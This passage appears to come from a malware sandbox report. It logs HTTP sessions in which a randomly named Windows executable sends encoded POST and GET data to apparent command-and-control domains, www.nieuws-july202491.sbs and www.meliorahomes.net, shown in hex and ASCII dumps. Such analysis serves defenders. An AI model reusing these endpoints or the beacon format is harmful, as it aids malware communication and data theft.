Oct 7, 2024 12:36:26.838109016 CEST	1236	IN	Data Raw: 6d 08 e0 d4 0a d3 b4 e7 e3 32 ae d7 4d c0 31 1b 06 33 09 f1 d4 c1 84 de 2d 8a 8e f2 b3 93 bd 45 74 de 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 4d 16 fb 88 c6 99 bc c1 d3 83 b7 82 d3 40 1b 51 28 08 cd 32 59 11 4b 77 db a9 5d 1d a5 7e 3d 43 57 14 Data Ascii: m2M13-Et_'lw"L4M@Q(2YKw]~=CWAkJLvOp&"cgY-;t6tPJCgGehwYe;F.<lz8,~D24w9J-s38&+/vBy@NL6%iT-LLi$
Oct 7, 2024 12:36:26.838124037 CEST	288	IN	Data Raw: e0 75 cc b3 cb bd 5d 38 df 0d e0 9f 90 bf 12 ea fa 8a f9 13 59 ae d9 ff 14 b8 9f 81 ea 4f 2f a8 fa f3 a7 da b8 08 fc de 96 d7 3b 3e 0f ff 91 c6 80 3a df 29 e1 59 55 77 df 1e e1 cf 56 3d c2 1f 99 e7 06 50 1f f0 75 15 21 5e 59 7c 7c ae ec bd 57 f8 Data Ascii: u]8YO/;>:)YUwV=Pu!^Y\|\|W/]0q_*v /3?SJs&(>Ppx<c$IO@LLYn~l 3=a:{.}c@)%>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50042	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:28.782408953 CEST	1824	OUT	POST /rq5n/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.nieuws-july202491.sbs/rq5n/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 6b 6b 2f 6b 6f 4c 65 77 6f 4a 6f 4a 79 64 4c 65 2f 46 6e 32 75 2b 43 4a 59 4b 33 42 77 70 72 50 4d 77 44 78 6a 6c 43 6f 71 65 53 69 61 41 57 74 66 39 43 33 63 48 4e 4f 49 38 44 6a 32 58 57 56 4f 49 48 4a 51 33 4b 31 35 68 56 76 68 5a 34 73 41 33 5a 48 2f 77 44 67 67 6c 6c 4c 78 76 53 30 37 70 45 37 6a 64 51 59 72 33 6e 50 73 4f 66 51 4c 38 43 32 49 68 52 73 64 33 43 4e 36 32 30 78 5a 42 68 58 6c 68 70 66 56 51 34 38 6d 76 49 48 35 4b 42 32 63 74 6b 50 30 41 57 48 7a 5a 48 44 68 71 78 55 6d 50 63 41 58 6b 44 65 6b 79 2f 31 6c 74 65 49 47 41 4c 4b 64 57 57 33 70 49 35 56 78 6e 39 74 6b 68 51 75 55 70 48 35 5a 49 2b 51 75 31 32 4f 70 54 6f 74 5a 63 79 55 34 48 53 78 52 30 4d 36 62 55 66 73 75 44 55 77 4e 37 50 79 66 71 57 76 6c 6e 44 53 59 71 65 37 34 59 79 54 48 30 48 36 6f 6b 33 6f 4d 39 39 63 31 36 37 4d 31 6c 79 74 47 53 59 34 30 4a 6b 46 6b 59 5a 50 76 38 43 37 2f 47 55 55 33 45 6f 33 6b 5a 6d 31 53 43 32 6d 53 31 47 72 43 6c 2b 62 48 32 50 48 68 72 37 58 6e 50 44 5a 56 58 46 45 [TRUNCATED] Data Ascii: ej6Le=kk/koLewoJoJydLe/Fn2u+CJYK3BwprPMwDxjlCoqeSiaAWtf9C3cHNOI8Dj2XWVOIHJQ3K15hVvhZ4sA3ZH/wDggllLxvS07pE7jdQYr3nPsOfQL8C2IhRsd3CN620xZBhXlhpfVQ48mvIH5KB2ctkP0AWHzZHDhqxUmPcAXkDeky/1lteIGALKdWW3pI5Vxn9tkhQuUpH5ZI+Qu12OpTotZcyU4HSxR0M6bUfsuDUwN7PyfqWvlnDSYqe74YyTH0H6ok3oM99c167M1lytGSY40JkFkYZPv8C7/GUU3Eo3kZm1SC2mS1GrCl+bH2PHhr7XnPDZVXFEr7prM7brXp5dcKbnc3tUFyFLSPpBcHnDK+vT2YIxXkdRwlat9S8kAuvV3XfXkzC+PPwv9qiO9d6Y1Yut63305b4W7DDt4gsACiO476IqwF0sBtQJNcEi9RVauvvlzt3zFuh8BnKcoBxw5kF5P4L8mRD6ObWlTnbqCncP8VrQYP9wzBOWSgsNRrmAYUy/j/RGehnogGwz1JHJQq2jFxoi7bz5UNmrCw0JzzK3DBBNQej7yShaUwCyXGsdGIpx3TplMXlsBKy0eotaav6RL0Z9SvS7EYNggei7iLWfbzOqchcds2OlSmxz4QZs2krWv7UZvqFX9Nr7PkhD5YVY18qRec+jvxWQcvZextOR4zvpjdBCZTC/AyjL6rD7Bwy2q/L/qdQ5dgyT7ApxhbnhWaEsyuWY0P50eyLrbtwFOgGRwJnGIcv527r5OFK6fzoZPhrguShHSj7LuLzfnTVw8SWYjKKTrsICmexVGEWGWKHW2xgcggaUM8/liu9J1v01Nk6D/xV2T9oyZIBGXZtsuy4mL1p7+WE/5d5Ot9hKFin8lYfp3AucRHNQG7RnpUePgxZre2iEbcTUxnMBSZSD0iLHnH8c94aHitoJRFSIUgpHrrRagK9beaaflkQ9iPlBLvXdvLV55wryx3jva44GFrXbzxf5EdasTL0YAT [TRUNCATED]
Oct 7, 2024 12:36:29.376069069 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Mon, 07 Oct 2024 10:36:29 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135BZJvLRMUhqCV's=pB<w?qKvm( o=\|3q+{XV)w]vtOv,"fv?B0GV]nyyG=56jZ:UMh/0K'wRUX7!rV&Y:s^o/^VL?{f]m7n/L-B/?.+0@{?{T`+1J`YiG~LgK{?uMSap;kWa~g[<6.83Fnwzf>v=%ZqM\[My}zze/meeVu7/y6AVYfN"{fWiKK=0}+nf <\|#5uWi~?ulriocWRrd~"+7)o\|Gp++S'@[YUeM^_WXBGWxGV^5^Y}q+\|g\|qW&0zDP7q#C6=-L/1euI+=SwU`^Wo-/z#.6F-H~%Y}i,O9 A%?ZYIZufsoD G8~OI{tmH75>Z#P:{}>Lnn!AOl^:?Ww'
Oct 7, 2024 12:36:29.376112938 CEST	224	IN	Data Raw: 4a e0 6f 66 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 08 a4 2f 86 19 8f c8 bc fb f3 cd 36 b7 a8 bd 19 ee 95 97 67 e5 25 43 3d 0c 0a 37 06 b1 ae b9 71 c0 7e 4e 1f b1 80 ff b4 0f 83 20 74 1c 37 7d 63 a9 1f ed db 55 7e ba 20 fb d9 af df cf 7b 63 bf 5f 71 cb Data Ascii: JofxoO/6g%C=7q~N t7}cU~ {c_qY+~7/CQOEK{?zvGY?U)g:$?*d4^}oa'CFXx!g9iY\W8
Oct 7, 2024 12:36:29.376151085 CEST	1236	IN	Data Raw: cb 61 fc 2a 7e f4 2b fb f6 7a bc f9 60 e8 55 24 e4 e6 9c de 2f bb 51 ce cb 81 fb d9 fa 1f 00 e8 26 5f 7f 66 f8 37 aa 1f 04 1f 8a 02 aa fd 5f 04 9f 1f c3 46 5d c4 7f 72 cc ca 7c b8 84 11 38 4f fd bf 58 66 e9 8e 88 2f e1 86 59 6a 2d 32 9f fa 19 0d Data Ascii: a~+z`U$/Q&_f7_F]r\|8OXf/Yj-2^/,-lPFz4?2CYR+;m^T[u%HD3vS&2]+0cdv+,R/t+\|Cv>:3.-T]\|6^8;.wV"
Oct 7, 2024 12:36:29.376188993 CEST	1236	IN	Data Raw: 43 82 0e 14 b7 c3 65 53 54 17 ad 20 8a 6a ac 46 8a d5 96 da 24 77 12 c7 82 03 8e 5c af 38 b6 5d 33 35 b9 c5 91 72 25 86 ab 31 40 4c bb 1f b3 3e ed 72 87 d8 94 a8 a8 a2 39 04 92 ba 16 5c 4e 93 bb 72 6d 4a 99 26 66 ac b9 4f 7c 9c 51 fd c5 b1 10 36 Data Ascii: CeST jF$w\8]35r%1@L>r9\NrmJ&fO\|Q6,S`A1U=5gO;"J><C6'6pAn%h!!.c@CYjH%:^RZ3W-z\A=H6*A2Bu_]JC6ax,DBMk9l[sG:Gr>`U
Oct 7, 2024 12:36:29.376224995 CEST	1236	IN	Data Raw: ce aa c5 69 5c cb 23 c5 85 5b 3a 2d 98 6e 99 d2 e6 49 5c 2d b6 91 4a b6 19 33 3f 69 10 e4 e8 eb b2 e6 e7 d0 82 cc 31 86 23 bc a9 53 7a c7 a0 9b aa 6b 75 1f d7 82 be d8 15 5a 09 0e 57 0c 8f 2c fd b3 18 17 a6 46 36 51 3b 3a a6 bb a4 e6 56 13 52 f3 Data Ascii: i\#[:-nI\-J3?i1#SzkuZW,F6Q;:VRWd@vHNffD1zO[h6xQ8PDaf$-C[":dn5cqakS8S$j:DVHkJa"x7vigpPYAtHb4
Oct 7, 2024 12:36:29.376260996 CEST	64	IN	Data Raw: be b1 df 0b 8d ff fd 5f a0 14 84 8e 06 d7 d4 3e 30 d9 b3 d9 cc 1b 83 bc c7 d7 23 7c 6d b5 47 f8 39 91 3d 5e de cb 7d fb ed 7f 00 00 00 ff ff 03 00 e2 28 6a b3 8d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: _>0#\|mG9=^}(j'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50043	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:31.367244005 CEST	513	OUT	GET /rq5n/?ej6Le=pmXEr/OQw9QJm4Xk+l3iuqWeb8HinOXDTGqjp1WLtMjib1CidozVAjoZZY6l6lG8OprBPnix8hR5i/scUhhw8x7Qq3ZF1dacyLUi3r4qrR6Xp8uTLrynRTshDzTWpn0bQ1psq0A=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.nieuws-july202491.sbs Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:36:31.961532116 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Mon, 07 Oct 2024 10:36:31 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 38 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 278D<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Oct 7, 2024 12:36:31.961568117 CEST	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Oct 7, 2024 12:36:31.961584091 CEST	1236	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Oct 7, 2024 12:36:31.961601973 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { te
Oct 7, 2024 12:36:31.961621046 CEST	896	IN	Data Raw: 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 Data Ascii: 9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTE
Oct 7, 2024 12:36:31.961724043 CEST	1236	IN	Data Raw: 49 39 6b 36 6e 75 4c 45 38 62 7a 4b 56 53 45 43 45 48 65 43 5a 53 79 73 72 30 34 71 4a 47 6e 54 7a 73 56 78 4a 6f 51 77 6d 37 62 50 68 51 37 63 7a 61 35 45 43 47 51 47 70 67 36 54 6e 6a 7a 6d 57 42 62 55 37 74 45 78 6b 68 56 77 33 36 79 7a 33 48 Data Ascii: I9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W30sSIiS7
Oct 7, 2024 12:36:31.961795092 CEST	1236	IN	Data Raw: 42 64 52 43 4d 4d 56 36 4f 6e 48 72 74 57 33 62 78 63 38 56 4a 56 6d 50 51 2b 49 46 51 6d 62 74 79 55 67 65 6a 65 6d 36 56 73 7a 77 61 4e 4a 35 49 51 54 39 72 38 41 55 46 30 34 2f 44 6f 4d 49 2b 4e 68 31 5a 57 35 4d 34 63 68 4a 35 79 75 4e 52 4d Data Ascii: BdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61erXPBOfO6HN7UYlJmuslpWDUTdYab
Oct 7, 2024 12:36:31.961944103 CEST	1236	IN	Data Raw: 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 37 30 25 3b 0a 20 Data Ascii: U5ErkJggg==); } .container { width: 70%; } .status-code { font-size: 900%; } .status-reason { font-size: 450%;
Oct 7, 2024 12:36:31.961960077 CEST	807	IN	Data Raw: 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 68 65 61 64 69 6e 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 77 77 2e 6e 69 65 75 77 73 2d 6a 75 6c 79 32 30 32 34 39 31 2e Data Ascii: <div class="info-heading"> www.nieuws-july202491.sbs/cp_errordocument.shtml (port 80) </div> </li> <li class="info-server"></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50044	8.217.17.192	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:37.032697916 CEST	772	OUT	POST /x0tl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.meliorahomes.net Origin: http://www.meliorahomes.net Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.meliorahomes.net/x0tl/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 77 76 34 32 70 5a 41 4c 4e 6f 6a 50 38 42 59 57 70 33 73 7a 43 33 56 30 64 46 44 7a 52 6d 6e 78 6e 74 7a 71 6a 42 66 36 33 49 67 2b 52 66 74 64 69 66 38 43 5a 33 4a 79 30 78 46 31 31 57 61 67 38 68 43 54 71 6f 53 53 7a 6d 75 42 37 6c 4b 6c 49 74 37 34 53 70 43 4e 67 56 52 7a 63 73 54 4d 4f 66 51 51 31 6f 4f 59 4d 6f 65 78 53 47 42 6f 77 73 61 6d 37 50 33 30 62 56 41 4f 57 31 5a 6d 76 5a 35 47 79 47 42 54 52 35 63 6e 41 4c 33 50 48 42 66 6d 70 44 57 52 34 41 38 30 6f 54 4f 77 57 36 5a 30 43 4f 59 35 59 51 71 39 6d 32 7a 37 78 64 45 6e 58 6d 6e 33 2b 6b 6a 63 33 69 66 64 42 4d 71 68 75 6d 4b 31 50 65 51 4a Data Ascii: ej6Le=wv42pZALNojP8BYWp3szC3V0dFDzRmnxntzqjBf63Ig+Rftdif8CZ3Jy0xF11Wag8hCTqoSSzmuB7lKlIt74SpCNgVRzcsTMOfQQ1oOYMoexSGBowsam7P30bVAOW1ZmvZ5GyGBTR5cnAL3PHBfmpDWR4A80oTOwW6Z0COY5YQq9m2z7xdEnXmn3+kjc3ifdBMqhumK1PeQJ
Oct 7, 2024 12:36:37.921485901 CEST	393	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:36:37 GMT Server: Apache/2.4.6 (CentOS) PHP/7.2.34 Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 74 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x0tl/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50045	8.217.17.192	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:39.576016903 CEST	796	OUT	POST /x0tl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.meliorahomes.net Origin: http://www.meliorahomes.net Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.meliorahomes.net/x0tl/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 77 76 34 32 70 5a 41 4c 4e 6f 6a 50 39 68 6f 57 71 51 34 7a 45 58 56 33 42 56 44 7a 61 47 6e 31 6e 74 2f 71 6a 41 62 71 33 2b 59 2b 52 39 31 64 6a 64 45 43 56 58 4a 79 7a 42 45 2f 72 6d 61 56 38 68 4f 74 71 74 71 53 7a 6d 71 42 37 67 32 6c 50 65 54 33 54 35 43 50 70 31 52 69 53 4d 54 4d 4f 66 51 51 31 6f 79 79 4d 6f 57 78 52 7a 4a 6f 78 4e 61 6e 39 2f 33 72 52 31 41 4f 53 31 5a 71 76 5a 35 65 79 45 31 70 52 37 55 6e 41 4a 66 50 48 53 48 6c 6d 44 57 58 6e 51 38 6d 75 79 65 35 65 73 6f 57 4b 2f 51 47 50 48 32 6f 6e 41 79 68 74 75 45 45 46 32 48 31 2b 6d 37 75 33 43 66 33 44 4d 53 68 38 78 47 53 41 71 31 71 69 4d 43 42 42 74 36 67 72 36 4e 6f 48 50 31 71 50 5a 30 2f 53 41 3d 3d Data Ascii: ej6Le=wv42pZALNojP9hoWqQ4zEXV3BVDzaGn1nt/qjAbq3+Y+R91djdECVXJyzBE/rmaV8hOtqtqSzmqB7g2lPeT3T5CPp1RiSMTMOfQQ1oyyMoWxRzJoxNan9/3rR1AOS1ZqvZ5eyE1pR7UnAJfPHSHlmDWXnQ8muye5esoWK/QGPH2onAyhtuEEF2H1+m7u3Cf3DMSh8xGSAq1qiMCBBt6gr6NoHP1qPZ0/SA==
Oct 7, 2024 12:36:40.465425968 CEST	393	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:36:40 GMT Server: Apache/2.4.6 (CentOS) PHP/7.2.34 Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 74 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x0tl/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50046	8.217.17.192	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:42.126420975 CEST	1809	OUT	POST /x0tl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.meliorahomes.net Origin: http://www.meliorahomes.net Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.meliorahomes.net/x0tl/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 77 76 34 32 70 5a 41 4c 4e 6f 6a 50 39 68 6f 57 71 51 34 7a 45 58 56 33 42 56 44 7a 61 47 6e 31 6e 74 2f 71 6a 41 62 71 33 39 34 2b 52 75 39 64 69 38 45 43 55 58 4a 79 77 42 45 38 72 6d 61 4d 38 68 57 58 71 74 75 43 7a 6b 69 42 36 43 4f 6c 4f 76 54 33 61 35 43 50 72 31 51 6c 63 73 54 5a 4f 65 68 5a 